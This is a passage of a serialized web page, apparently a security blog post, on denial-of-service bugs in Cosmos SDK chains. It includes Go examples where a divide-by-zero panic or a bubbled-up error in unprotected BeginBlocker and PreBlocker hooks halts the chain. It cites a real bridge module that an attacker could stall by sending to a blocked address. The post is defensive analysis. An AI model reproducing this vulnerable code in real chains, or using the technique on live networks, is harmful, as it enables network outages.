k",{"type":24,"tag":327,"props":88016,"children":88017},{"style":346},[88018],{"type":29,"value":66},{"type":24,"tag":327,"props":88020,"children":88021},{"style":356},[88022],{"type":29,"value":87992},{"type":24,"tag":327,"props":88024,"children":88025},{"style":346},[88026],{"type":29,"value":66},{"type":24,"tag":327,"props":88028,"children":88029},{"style":340},[88030],{"type":29,"value":88031},"TotalReward",{"type":24,"tag":327,"props":88033,"children":88034},{"style":346},[88035],{"type":29,"value":15298},{"type":24,"tag":327,"props":88037,"children":88038},{"class":329,"line":500},[88039,88044,88048,88052,88056,88061,88065,88070],{"type":24,"tag":327,"props":88040,"children":88041},{"style":356},[88042],{"type":29,"value":88043},"    k",{"type":24,"tag":327,"props":88045,"children":88046},{"style":346},[88047],{"type":29,"value":66},{"type":24,"tag":327,"props":88049,"children":88050},{"style":356},[88051],{"type":29,"value":87992},{"type":24,"tag":327,"props":88053,"children":88054},{"style":346},[88055],{"type":29,"value":66},{"type":24,"tag":327,"props":88057,"children":88058},{"style":340},[88059],{"type":29,"value":88060},"DistributeReward",{"type":24,"tag":327,"props":88062,"children":88063},{"style":346},[88064],{"type":29,"value":349},{"type":24,"tag":327,"props":88066,"children":88067},{"style":356},[88068],{"type":29,"value":88069},"RewardPerShare",{"type":24,"tag":327,"props":88071,"children":88072},{"style":346},[88073],{"type":29,"value":852},{"type":24,"tag":327,"props":88075,"children":88076},{"class":329,"line":529},[88077],{"type":24,"tag":327,"props":88078,"children":88079},{"emptyLinePlaceholder":16},[88080],{"type":29,"value":544},{"type":24,"tag":327,"props":88082,"children":88083},{"class":329,"line":538},[88084,88088,88092,88096,88100,88105,88109],{"type":24,"tag":327,"props":88085,"children":88086},{"style":425},[88087],{"type":29,"value":6023},{"type":24,"tag":327,"props":88089,"children":88090},{"style":381},[88091],{"type":29,"value":14704},{"type":24,"tag":327,"props":88093,"children":88094},{"style":356},[88095],{"type":29,"value":13327},{"type":24,"tag":327,"props":88097,"children":88098},{"style":346},[88099],{"type":29,"value":66},{"type":24,"tag":327,"props":88101,"children":88102},{"style":356},[88103],{"type":29,"value":88104},"MsgAllocateRewardResponse",{"type":24,"tag":327,"props":88106,"children":88107},{"style":346},[88108],{"type":29,"value":2744},{"type":24,"tag":327,"props":88110,"children":88111},{"style":334},[88112],{"type":29,"value":83369},{"type":24,"tag":327,"props":88114,"children":88115},{"class":329,"line":547},[88116],{"type":24,"tag":327,"props":88117,"children":88118},{"style":346},[88119],{"type":29,"value":592},{"type":24,"tag":25,"props":88121,"children":88122},{},[88123,88125,88131,88132,88138,88139,88145,88147,88152],{"type":29,"value":88124},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":24,"tag":284,"props":88126,"children":88128},{"className":88127},[],[88129],{"type":29,"value":88130},"PreBlocker",{"type":29,"value":2744},{"type":24,"tag":284,"props":88133,"children":88135},{"className":88134},[],[88136],{"type":29,"value":88137},"BeginBlocker",{"type":29,"value":14054},{"type":24,"tag":284,"props":88140,"children":88142},{"className":88141},[],[88143],{"type":29,"value":88144},"EndBlocker",{"type":29,"value":88146},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":24,"tag":284,"props":88148,"children":88150},{"className":88149},[],[88151],{"type":29,"value":88137},{"type":29,"value":88153}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":24,"tag":317,"props":88155,"children":88157},{"code":88156,"language":82891,"meta":7,"className":82892,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[88158],{"type":24,"tag":284,"props":88159,"children":88160},{"__ignoreMap":7},[88161,88226,88233,88281,88309,88316,88328],{"type":24,"tag":327,"props":88162,"children":88163},{"class":329,"line":330},[88164,88168,88173,88177,88181,88185,88189,88193,88197,88201,88206,88210,88214,88218,88222],{"type":24,"tag":327,"props":88165,"children":88166},{"style":334},[88167],{"type":29,"value":83027},{"type":24,"tag":327,"props":88169,"children":88170},{"style":340},[88171],{"type":29,"value":88172}," BeginBlocker",{"type":24,"tag":327,"props":88174,"children":88175},{"style":346},[88176],{"type":29,"value":349},{"type":24,"tag":327,"props":88178,"children":88179},{"style":356},[88180],{"type":29,"value":1631},{"type":24,"tag":327,"props":88182,"children":88183},{"style":1639},[88184],{"type":29,"value":83067},{"type":24,"tag":327,"props":88186,"children":88187},{"style":346},[88188],{"type":29,"value":66},{"type":24,"tag":327,"props":88190,"children":88191},{"style":1639},[88192],{"type":29,"value":83076},{"type":24,"tag":327,"props":88194,"children":88195},{"style":346},[88196],{"type":29,"value":2744},{"type":24,"tag":327,"props":88198,"children":88199},{"style":356},[88200],{"type":29,"value":87992},{"type":24,"tag":327,"props":88202,"children":88203},{"style":1639},[88204],{"type":29,"value":88205}," keeper",{"type":24,"tag":327,"props":88207,"children":88208},{"style":346},[88209],{"type":29,"value":66},{"type":24,"tag":327,"props":88211,"children":88212},{"style":1639},[88213],{"type":29,"value":86672},{"type":24,"tag":327,"props":88215,"children":88216},{"style":346},[88217],{"type":29,"value":1674},{"type":24,"tag":327,"props":88219,"children":88220},{"style":1639},[88221],{"type":29,"value":22387},{"type":24,"tag":327,"props":88223,"children":88224},{"style":346},[88225],{"type":29,"value":497},{"type":24,"tag":327,"props":88227,"children":88228},{"class":329,"line":367},[88229],{"type":24,"tag":327,"props":88230,"children":88231},{"emptyLinePlaceholder":16},[88232],{"type":29,"value":544},{"type":24,"tag":327,"props":88234,"children":88235},{"class":329,"line":408},[88236,88240,88244,88248,88252,88256,88260,88264,88269,88273,88277],{"type":24,"tag":327,"props":88237,"children":88238},{"style":356},[88239],{"type":29,"value":87974},{"type":24,"tag":327,"props":88241,"children":88242},{"style":381},[88243],{"type":29,"value":83143},{"type":24,"tag":327,"props":88245,"children":88246},{"style":356},[88247],{"type":29,"value":88205},{"type":24,"tag":327,"props":88249,"children":88250},{"style":346},[88251],{"type":29,"value":66},{"type":24,"tag":327,"props":88253,"children":88254},{"style":340},[88255],{"type":29,"value":88001},{"type":24,"tag":327,"props":88257,"children":88258},{"style":346},[88259],{"type":29,"value":7338},{"type":24,"tag":327,"props":88261,"children":88262},{"style":381},[88263],{"type":29,"value":2899},{"type":24,"tag":327,"props":88265,"children":88266},{"style":356},[88267],{"type":29,"value":88268},"  keeper",{"type":24,"tag":327,"props":88270,"children":88271},{"style":346},[88272],{"type":29,"value":66},{"type":24,"tag":327,"props":88274,"children":88275},{"style":340},[88276],{"type":29,"value":88031},{"type":24,"tag":327,"props":88278,"children":88279},{"style":346},[88280],{"type":29,"value":15298},{"type":24,"tag":327,"props":88282,"children":88283},{"class":329,"line":421},[88284,88289,88293,88297,88301,88305],{"type":24,"tag":327,"props":88285,"children":88286},{"style":356},[88287],{"type":29,"value":88288},"    keeper",{"type":24,"tag":327,"props":88290,"children":88291},{"style":346},[88292],{"type":29,"value":66},{"type":24,"tag":327,"props":88294,"children":88295},{"style":340},[88296],{"type":29,"value":88060},{"type":24,"tag":327,"props":88298,"children":88299},{"style":346},[88300],{"type":29,"value":349},{"type":24,"tag":327,"props":88302,"children":88303},{"style":356},[88304],{"type":29,"value":88069},{"type":24,"tag":327,"props":88306,"children":88307},{"style":346},[88308],{"type":29,"value":852},{"type":24,"tag":327,"props":88310,"children":88311},{"class":329,"line":450},[88312],{"type":24,"tag":327,"props":88313,"children":88314},{"emptyLinePlaceholder":16},[88315],{"type":29,"value":544},{"type":24,"tag":327,"props":88317,"children":88318},{"class":329,"line":481},[88319,88323],{"type":24,"tag":327,"props":88320,"children":88321},{"style":425},[88322],{"type":29,"value":59587},{"type":24,"tag":327,"props":88324,"children":88325},{"style":334},[88326],{"type":29,"value":88327}," nil\n",{"type":24,"tag":327,"props":88329,"children":88330},{"class":329,"line":500},[88331],{"type":24,"tag":327,"props":88332,"children":88333},{"style":346},[88334],{"type":29,"value":592},{"type":24,"tag":235,"props":88336,"children":88338},{"id":88337},"real-world-examples-3",[88339],{"type":29,"value":83416},{"type":24,"tag":25,"props":88341,"children":88342},{},[88343],{"type":29,"value":88344},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":24,"tag":25,"props":88346,"children":88347},{},[88348,88350,88356,88358,88363,88365,88371,88373,88379,88381,88387],{"type":29,"value":88349},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":24,"tag":284,"props":88351,"children":88353},{"className":88352},[],[88354],{"type":29,"value":88355},"bankKeeper.SendCoinsFromModuleToAccount",{"type":29,"value":88357}," will be bubbled up through ",{"type":24,"tag":284,"props":88359,"children":88361},{"className":88360},[],[88362],{"type":29,"value":88130},{"type":29,"value":88364}," and halt the chain. It turns out an attacker can force ",{"type":24,"tag":284,"props":88366,"children":88368},{"className":88367},[],[88369],{"type":29,"value":88370},"SendCoinsFromModuleToAccount",{"type":29,"value":88372}," to return an error by setting ",{"type":24,"tag":284,"props":88374,"children":88376},{"className":88375},[],[88377],{"type":29,"value":88378},"recipient",{"type":29,"value":88380}," to some ",{"type":24,"tag":284,"props":88382,"children":88384},{"className":88383},[],[88385],{"type":29,"value":88386},"BlockedAddr",{"type":29,"value":88388},",rendering the code susceptible to DoS attacks.",{"type":24,"tag":25,"props":88390,"children":88391},{},[88392],{"type":24,"tag":57,"props":88393,"children":88396},{"href":88394,"rel":88395},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[61],[88397],{"type":29,"value":83466},{"type":24,"tag":317,"props":88399,"children":88401},{"code":88400,"language":82891,"meta":7,"className":82892,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[88402],{"type":24,"tag":284,"props":88403,"children":88404},{"__ignoreMap":7},[88405,88458,88473,88496,88526,88562,88570,88626,88650,88700,88707,88714,88721,88728,88735,88766,88789,88814,88829,88836,88873,88927,88950,88991,88998,89005,89056,89117,89140,89163,89175,89196,89208,89216,89223,89238,89246,89253,89260,89267,89274,89281,89312,89335,89360,89385,89400,89407,89444,89455,89476,89487,89499,89506,89529,89569,89576,89583],{"type":24,"tag":327,"props":88406,"children":88407},{"class":329,"line":330},[88408,88412,88416,88421,88425,88430,88434,88438,88442,88446,88450,88454],{"type":24,"tag":327,"props":88409,"children":88410},{"style":334},[88411],{"type":29,"value":83027},{"type":24,"tag":327,"props":88413,"children":88414},{"style":346},[88415],{"type":29,"value":5894},{"type":24,"tag":327,"props":88417,"children":88418},{"style":356},[88419],{"type":29,"value":88420},"pbh ",{"type":24,"tag":327,"props":88422,"children":88423},{"style":381},[88424],{"type":29,"value":469},{"type":24,"tag":327,"props":88426,"children":88427},{"style":1639},[88428],{"type":29,"value":88429},"PreBlockHandler",{"type":24,"tag":327,"props":88431,"children":88432},{"style":346},[88433],{"type":29,"value":1674},{"type":24,"tag":327,"props":88435,"children":88436},{"style":340},[88437],{"type":29,"value":88130},{"type":24,"tag":327,"props":88439,"children":88440},{"style":346},[88441],{"type":29,"value":7338},{"type":24,"tag":327,"props":88443,"children":88444},{"style":1639},[88445],{"type":29,"value":85457},{"type":24,"tag":327,"props":88447,"children":88448},{"style":346},[88449],{"type":29,"value":66},{"type":24,"tag":327,"props":88451,"children":88452},{"style":1639},[88453],{"type":29,"value":88130},{"type":24,"tag":327,"props":88455,"children":88456},{"style":346},[88457],{"type":29,"value":497},{"type":24,"tag":327,"props":88459,"children":88460},{"class":329,"line":367},[88461,88465,88469],{"type":24,"tag":327,"props":88462,"children":88463},{"style":425},[88464],{"type":29,"value":6023},{"type":24,"tag":327,"props":88466,"children":88467},{"style":334},[88468],{"type":29,"value":86736},{"type":24,"tag":327,"props":88470,"children":88471},{"style":346},[88472],{"type":29,"value":4663},{"type":24,"tag":327,"props":88474,"children":88475},{"class":329,"line":408},[88476,88480,88484,88488,88492],{"type":24,"tag":327,"props":88477,"children":88478},{"style":356},[88479],{"type":29,"value":7649},{"type":24,"tag":327,"props":88481,"children":88482},{"style":1639},[88483],{"type":29,"value":85368},{"type":24,"tag":327,"props":88485,"children":88486},{"style":346},[88487],{"type":29,"value":66},{"type":24,"tag":327,"props":88489,"children":88490},{"style":1639},[88491],{"type":29,"value":83076},{"type":24,"tag":327,"props":88493,"children":88494},{"style":346},[88495],{"type":29,"value":2231},{"type":24,"tag":327,"props":88497,"children":88498},{"class":329,"line":421},[88499,88504,88508,88513,88517,88522],{"type":24,"tag":327,"props":88500,"children":88501},{"style":356},[88502],{"type":29,"value":88503},"        req",{"type":24,"tag":327,"props":88505,"children":88506},{"style":381},[88507],{"type":29,"value":17364},{"type":24,"tag":327,"props":88509,"children":88510},{"style":1639},[88511],{"type":29,"value":88512},"cmtabci",{"type":24,"tag":327,"props":88514,"children":88515},{"style":346},[88516],{"type":29,"value":66},{"type":24,"tag":327,"props":88518,"children":88519},{"style":1639},[88520],{"type":29,"value":88521},"RequestFinalizeBlock",{"type":24,"tag":327,"props":88523,"children":88524},{"style":346},[88525],{"type":29,"value":2231},{"type":24,"tag":327,"props":88527,"children":88528},{"class":329,"line":450},[88529,88533,88537,88541,88545,88550,88554,88558],{"type":24,"tag":327,"props":88530,"children":88531},{"style":346},[88532],{"type":29,"value":86804},{"type":24,"tag":327,"props":88534,"children":88535},{"style":381},[88536],{"type":29,"value":469},{"type":24,"tag":327,"props":88538,"children":88539},{"style":1639},[88540],{"type":29,"value":85457},{"type":24,"tag":327,"props":88542,"children":88543},{"style":346},[88544],{"type":29,"value":66},{"type":24,"tag":327,"props":88546,"children":88547},{"style":1639},[88548],{"type":29,"value":88549},"ResponsePreBlock",{"type":24,"tag":327,"props":88551,"children":88552},{"style":346},[88553],{"type":29,"value":2744},{"type":24,"tag":327,"props":88555,"children":88556},{"style":1639},[88557],{"type":29,"value":22387},{"type":24,"tag":327,"props":88559,"children":88560},{"style":346},[88561],{"type":29,"value":364},{"type":24,"tag":327,"props":88563,"children":88564},{"class":329,"line":481},[88565],{"type":24,"tag":327,"props":88566,"children":88567},{"style":381},[88568],{"type":29,"value":88569},"        ...\n",{"type":24,"tag":327,"props":88571,"children":88572},{"class":329,"line":500},[88573,88578,88582,88587,88591,88596,88600,88605,88609,88613,88617,88622],{"type":24,"tag":327,"props":88574,"children":88575},{"style":356},[88576],{"type":29,"value":88577},"        err",{"type":24,"tag":327,"props":88579,"children":88580},{"style":381},[88581],{"type":29,"value":83143},{"type":24,"tag":327,"props":88583,"children":88584},{"style":356},[88585],{"type":29,"value":88586}," pbh",{"type":24,"tag":327,"props":88588,"children":88589},{"style":346},[88590],{"type":29,"value":66},{"type":24,"tag":327,"props":88592,"children":88593},{"style":356},[88594],{"type":29,"value":88595},"bridgeKeeper",{"type":24,"tag":327,"props":88597,"children":88598},{"style":346},[88599],{"type":29,"value":66},{"type":24,"tag":327,"props":88601,"children":88602},{"style":340},[88603],{"type":29,"value":88604},"AcceptAssetsLocked",{"type":24,"tag":327,"props":88606,"children":88607},{"style":346},[88608],{"type":29,"value":349},{"type":24,"tag":327,"props":88610,"children":88611},{"style":356},[88612],{"type":29,"value":1631},{"type":24,"tag":327,"props":88614,"children":88615},{"style":346},[88616],{"type":29,"value":2744},{"type":24,"tag":327,"props":88618,"children":88619},{"style":356},[88620],{"type":29,"value":88621},"events",{"type":24,"tag":327,"props":88623,"children":88624},{"style":346},[88625],{"type":29,"value":852},{"type":24,"tag":327,"props":88627,"children":88628},{"class":329,"line":529},[88629,88633,88637,88641,88646],{"type":24,"tag":327,"props":88630,"children":88631},{"style":425},[88632],{"type":29,"value":8861},{"type":24,"tag":327,"props":88634,"children":88635},{"style":356},[88636],{"type":29,"value":55241},{"type":24,"tag":327,"props":88638,"children":88639},{"style":381},[88640],{"type":29,"value":71110},{"type":24,"tag":327,"props":88642,"children":88643},{"style":334},[88644],{"type":29,"value":88645}," nil",{"type":24,"tag":327,"props":88647,"children":88648},{"style":346},[88649],{"type":29,"value":497},{"type":24,"tag":327,"props":88651,"children":88652},{"class":329,"line":538},[88653,88657,88661,88665,88670,88674,88679,88683,88688,88692,88696],{"type":24,"tag":327,"props":88654,"children":88655},{"style":425},[88656],{"type":29,"value":85803},{"type":24,"tag":327,"props":88658,"children":88659},{"style":334},[88660],{"type":29,"value":88645},{"type":24,"tag":327,"props":88662,"children":88663},{"style":346},[88664],{"type":29,"value":2744},{"type":24,"tag":327,"props":88666,"children":88667},{"style":356},[88668],{"type":29,"value":88669},"fmt",{"type":24,"tag":327,"props":88671,"children":88672},{"style":346},[88673],{"type":29,"value":66},{"type":24,"tag":327,"props":88675,"children":88676},{"style":340},[88677],{"type":29,"value":88678},"Errorf",{"type":24,"tag":327,"props":88680,"children":88681},{"style":346},[88682],{"type":29,"value":349},{"type":24,"tag":327,"props":88684,"children":88685},{"style":844},[88686],{"type":29,"value":88687},"\"cannot accept AssetsLocked events: %w\"",{"type":24,"tag":327,"props":88689,"children":88690},{"style":346},[88691],{"type":29,"value":2744},{"type":24,"tag":327,"props":88693,"children":88694},{"style":356},[88695],{"type":29,"value":55140},{"type":24,"tag":327,"props":88697,"children":88698},{"style":346},[88699],{"type":29,"value":852},{"type":24,"tag":327,"props":88701,"children":88702},{"class":329,"line":547},[88703],{"type":24,"tag":327,"props":88704,"children":88705},{"style":346},[88706],{"type":29,"value":8989},{"type":24,"tag":327,"props":88708,"children":88709},{"class":329,"line":557},[88710],{"type":24,"tag":327,"props":88711,"children":88712},{"style":381},[88713],{"type":29,"value":88569},{"type":24,"tag":327,"props":88715,"children":88716},{"class":329,"line":586},[88717],{"type":24,"tag":327,"props":88718,"children":88719},{"style":346},[88720],{"type":29,"value":535},{"type":24,"tag":327,"props":88722,"children":88723},{"class":329,"line":1017},[88724],{"type":24,"tag":327,"props":88725,"children":88726},{"style":346},[88727],{"type":29,"value":592},{"type":24,"tag":327,"props":88729,"children":88730},{"class":329,"line":1026},[88731],{"type":24,"tag":327,"props":88732,"children":88733},{"emptyLinePlaceholder":16},[88734],{"type":29,"value":544},{"type":24,"tag":327,"props":88736,"children":88737},{"class":329,"line":1048},[88738,88742,88746,88750,88754,88758,88762],{"type":24,"tag":327,"props":88739,"children":88740},{"style":334},[88741],{"type":29,"value":83027},{"type":24,"tag":327,"props":88743,"children":88744},{"style":346},[88745],{"type":29,"value":5894},{"type":24,"tag":327,"props":88747,"children":88748},{"style":356},[88749],{"type":29,"value":87855},{"type":24,"tag":327,"props":88751,"children":88752},{"style":1639},[88753],{"type":29,"value":86672},{"type":24,"tag":327,"props":88755,"children":88756},{"style":346},[88757],{"type":29,"value":1674},{"type":24,"tag":327,"props":88759,"children":88760},{"style":340},[88761],{"type":29,"value":88604},{"type":24,"tag":327,"props":88763,"children":88764},{"style":346},[88765],{"type":29,"value":4663},{"type":24,"tag":327,"props":88767,"children":88768},{"class":329,"line":1067},[88769,88773,88777,88781,88785],{"type":24,"tag":327,"props":88770,"children":88771},{"style":356},[88772],{"type":29,"value":1573},{"type":24,"tag":327,"props":88774,"children":88775},{"style":1639},[88776],{"type":29,"value":85368},{"type":24,"tag":327,"props":88778,"children":88779},{"style":346},[88780],{"type":29,"value":66},{"type":24,"tag":327,"props":88782,"children":88783},{"style":1639},[88784],{"type":29,"value":83076},{"type":24,"tag":327,"props":88786,"children":88787},{"style":346},[88788],{"type":29,"value":2231},{"type":24,"tag":327,"props":88790,"children":88791},{"class":329,"line":1075},[88792,88797,88801,88805,88810],{"type":24,"tag":327,"props":88793,"children":88794},{"style":356},[88795],{"type":29,"value":88796},"    events",{"type":24,"tag":327,"props":88798,"children":88799},{"style":1639},[88800],{"type":29,"value":84902},{"type":24,"tag":327,"props":88802,"children":88803},{"style":346},[88804],{"type":29,"value":66},{"type":24,"tag":327,"props":88806,"children":88807},{"style":1639},[88808],{"type":29,"value":88809},"AssetsLockedEvents",{"type":24,"tag":327,"props":88811,"children":88812},{"style":346},[88813],{"type":29,"value":2231},{"type":24,"tag":327,"props":88815,"children":88816},{"class":329,"line":1084},[88817,88821,88825],{"type":24,"tag":327,"props":88818,"children":88819},{"style":346},[88820],{"type":29,"value":1674},{"type":24,"tag":327,"props":88822,"children":88823},{"style":1639},[88824],{"type":29,"value":22387},{"type":24,"tag":327,"props":88826,"children":88827},{"style":346},[88828],{"type":29,"value":497},{"type":24,"tag":327,"props":88830,"children":88831},{"class":329,"line":1100},[88832],{"type":24,"tag":327,"props":88833,"children":88834},{"style":381},[88835],{"type":29,"value":1697},{"type":24,"tag":327,"props":88837,"children":88838},{"class":329,"line":1128},[88839,88843,88847,88851,88856,88860,88864,88869],{"type":24,"tag":327,"props":88840,"children":88841},{"style":425},[88842],{"type":29,"value":10643},{"type":24,"tag":327,"props":88844,"children":88845},{"style":356},[88846],{"type":29,"value":10648},{"type":24,"tag":327,"props":88848,"children":88849},{"style":346},[88850],{"type":29,"value":2744},{"type":24,"tag":327,"props":88852,"children":88853},{"style":356},[88854],{"type":29,"value":88855},"event",{"type":24,"tag":327,"props":88857,"children":88858},{"style":381},[88859],{"type":29,"value":83143},{"type":24,"tag":327,"props":88861,"children":88862},{"style":425},[88863],{"type":29,"value":84126},{"type":24,"tag":327,"props":88865,"children":88866},{"style":356},[88867],{"type":29,"value":88868}," events",{"type":24,"tag":327,"props":88870,"children":88871},{"style":346},[88872],{"type":29,"value":497},{"type":24,"tag":327,"props":88874,"children":88875},{"class":329,"line":1148},[88876,88881,88885,88889,88893,88897,88901,88906,88910,88914,88918,88923],{"type":24,"tag":327,"props":88877,"children":88878},{"style":356},[88879],{"type":29,"value":88880},"        recipient",{"type":24,"tag":327,"props":88882,"children":88883},{"style":346},[88884],{"type":29,"value":2744},{"type":24,"tag":327,"props":88886,"children":88887},{"style":356},[88888],{"type":29,"value":55140},{"type":24,"tag":327,"props":88890,"children":88891},{"style":381},[88892],{"type":29,"value":83143},{"type":24,"tag":327,"props":88894,"children":88895},{"style":356},[88896],{"type":29,"value":85368},{"type":24,"tag":327,"props":88898,"children":88899},{"style":346},[88900],{"type":29,"value":66},{"type":24,"tag":327,"props":88902,"children":88903},{"style":340},[88904],{"type":29,"value":88905},"AccAddressFromBech32",{"type":24,"tag":327,"props":88907,"children":88908},{"style":346},[88909],{"type":29,"value":349},{"type":24,"tag":327,"props":88911,"children":88912},{"style":356},[88913],{"type":29,"value":88855},{"type":24,"tag":327,"props":88915,"children":88916},{"style":346},[88917],{"type":29,"value":66},{"type":24,"tag":327,"props":88919,"children":88920},{"style":356},[88921],{"type":29,"value":88922},"Recipient",{"type":24,"tag":327,"props":88924,"children":88925},{"style":346},[88926],{"type":29,"value":852},{"type":24,"tag":327,"props":88928,"children":88929},{"class":329,"line":1176},[88930,88934,88938,88942,88946],{"type":24,"tag":327,"props":88931,"children":88932},{"style":425},[88933],{"type":29,"value":8861},{"type":24,"tag":327,"props":88935,"children":88936},{"style":356},[88937],{"type":29,"value":55241},{"type":24,"tag":327,"props":88939,"children":88940},{"style":381},[88941],{"type":29,"value":71110},{"type":24,"tag":327,"props":88943,"children":88944},{"style":334},[88945],{"type":29,"value":88645},{"type":24,"tag":327,"props":88947,"children":88948},{"style":346},[88949],{"type":29,"value":497},{"type":24,"tag":327,"props":88951,"children":88952},{"class":329,"line":1184},[88953,88957,88962,88966,88970,88974,88979,88983,88987],{"type":24,"tag":327,"props":88954,"children":88955},{"style":425},[88956],{"type":29,"value":85803},{"type":24,"tag":327,"props":88958,"children":88959},{"style":356},[88960],{"type":29,"value":88961}," fmt",{"type":24,"tag":327,"props":88963,"children":88964},{"style":346},[88965],{"type":29,"value":66},{"type":24,"tag":327,"props":88967,"children":88968},{"style":340},[88969],{"type":29,"value":88678},{"type":24,"tag":327,"props":88971,"children":88972},{"style":346},[88973],{"type":29,"value":349},{"type":24,"tag":327,"props":88975,"children":88976},{"style":844},[88977],{"type":29,"value":88978},"\"failed to parse recipient address: %w\"",{"type":24,"tag":327,"props":88980,"children":88981},{"style":346},[88982],{"type":29,"value":2744},{"type":24,"tag":327,"props":88984,"children":88985},{"style":356},[88986],{"type":29,"value":55140},{"type":24,"tag":327,"props":88988,"children":88989},{"style":346},[88990],{"type":29,"value":852},{"type":24,"tag":327,"props":88992,"children":88993},{"class":329,"line":1192},[88994],{"type":24,"tag":327,"props":88995,"children":88996},{"style":346},[88997],{"type":29,"value":8989},{"type":24,"tag":327,"props":88999,"children":89000},{"class":329,"line":1212},[89001],{"type":24,"tag":327,"props":89002,"children":89003},{"emptyLinePlaceholder":16},[89004],{"type":29,"value":544},{"type":24,"tag":327,"props":89006,"children":89007},{"class":329,"line":4841},[89008,89012,89017,89021,89026,89030,89034,89038,89043,89047,89052],{"type":24,"tag":327,"props":89009,"children":89010},{"style":425},[89011],{"type":29,"value":8861},{"type":24,"tag":327,"props":89013,"children":89014},{"style":356},[89015],{"type":29,"value":89016}," bytes",{"type":24,"tag":327,"props":89018,"children":89019},{"style":346},[89020],{"type":29,"value":66},{"type":24,"tag":327,"props":89022,"children":89023},{"style":340},[89024],{"type":29,"value":89025},"Equal",{"type":24,"tag":327,"props":89027,"children":89028},{"style":346},[89029],{"type":29,"value":349},{"type":24,"tag":327,"props":89031,"children":89032},{"style":356},[89033],{"type":29,"value":88855},{"type":24,"tag":327,"props":89035,"children":89036},{"style":346},[89037],{"type":29,"value":66},{"type":24,"tag":327,"props":89039,"children":89040},{"style":340},[89041],{"type":29,"value":89042},"TokenBytes",{"type":24,"tag":327,"props":89044,"children":89045},{"style":346},[89046],{"type":29,"value":25885},{"type":24,"tag":327,"props":89048,"children":89049},{"style":356},[89050],{"type":29,"value":89051},"sourceBTCToken",{"type":24,"tag":327,"props":89053,"children":89054},{"style":346},[89055],{"type":29,"value":364},{"type":24,"tag":327,"props":89057,"children":89058},{"class":329,"line":4862},[89059,89064,89068,89072,89076,89081,89085,89089,89093,89097,89101,89105,89109,89113],{"type":24,"tag":327,"props":89060,"children":89061},{"style":356},[89062],{"type":29,"value":89063},"            err",{"type":24,"tag":327,"props":89065,"children":89066},{"style":381},[89067],{"type":29,"value":4809},{"type":24,"tag":327,"props":89069,"children":89070},{"style":356},[89071],{"type":29,"value":87983},{"type":24,"tag":327,"props":89073,"children":89074},{"style":346},[89075],{"type":29,"value":66},{"type":24,"tag":327,"props":89077,"children":89078},{"style":340},[89079],{"type":29,"value":89080},"mintBTC",{"type":24,"tag":327,"props":89082,"children":89083},{"style":346},[89084],{"type":29,"value":349},{"type":24,"tag":327,"props":89086,"children":89087},{"style":356},[89088],{"type":29,"value":1631},{"type":24,"tag":327,"props":89090,"children":89091},{"style":346},[89092],{"type":29,"value":2744},{"type":24,"tag":327,"props":89094,"children":89095},{"style":356},[89096],{"type":29,"value":88378},{"type":24,"tag":327,"props":89098,"children":89099},{"style":346},[89100],{"type":29,"value":2744},{"type":24,"tag":327,"props":89102,"children":89103},{"style":356},[89104],{"type":29,"value":88855},{"type":24,"tag":327,"props":89106,"children":89107},{"style":346},[89108],{"type":29,"value":66},{"type":24,"tag":327,"props":89110,"children":89111},{"style":356},[89112],{"type":29,"value":85782},{"type":24,"tag":327,"props":89114,"children":89115},{"style":346},[89116],{"type":29,"value":852},{"type":24,"tag":327,"props":89118,"children":89119},{"class":329,"line":4870},[89120,89124,89128,89132,89136],{"type":24,"tag":327,"props":89121,"children":89122},{"style":425},[89123],{"type":29,"value":65523},{"type":24,"tag":327,"props":89125,"children":89126},{"style":356},[89127],{"type":29,"value":55241},{"type":24,"tag":327,"props":89129,"children":89130},{"style":381},[89131],{"type":29,"value":71110},{"type":24,"tag":327,"props":89133,"children":89134},{"style":334},[89135],{"type":29,"value":88645},{"type":24,"tag":327,"props":89137,"children":89138},{"style":346},[89139],{"type":29,"value":497},{"type":24,"tag":327,"props":89141,"children":89142},{"class":329,"line":4879},[89143,89147,89151,89155,89159],{"type":24,"tag":327,"props":89144,"children":89145},{"style":425},[89146],{"type":29,"value":67451},{"type":24,"tag":327,"props":89148,"children":89149},{"style":356},[89150],{"type":29,"value":88961},{"type":24,"tag":327,"props":89152,"children":89153},{"style":346},[89154],{"type":29,"value":66},{"type":24,"tag":327,"props":89156,"children":89157},{"style":340},[89158],{"type":29,"value":88678},{"type":24,"tag":327,"props":89160,"children":89161},{"style":346},[89162],{"type":29,"value":4663},{"type":24,"tag":327,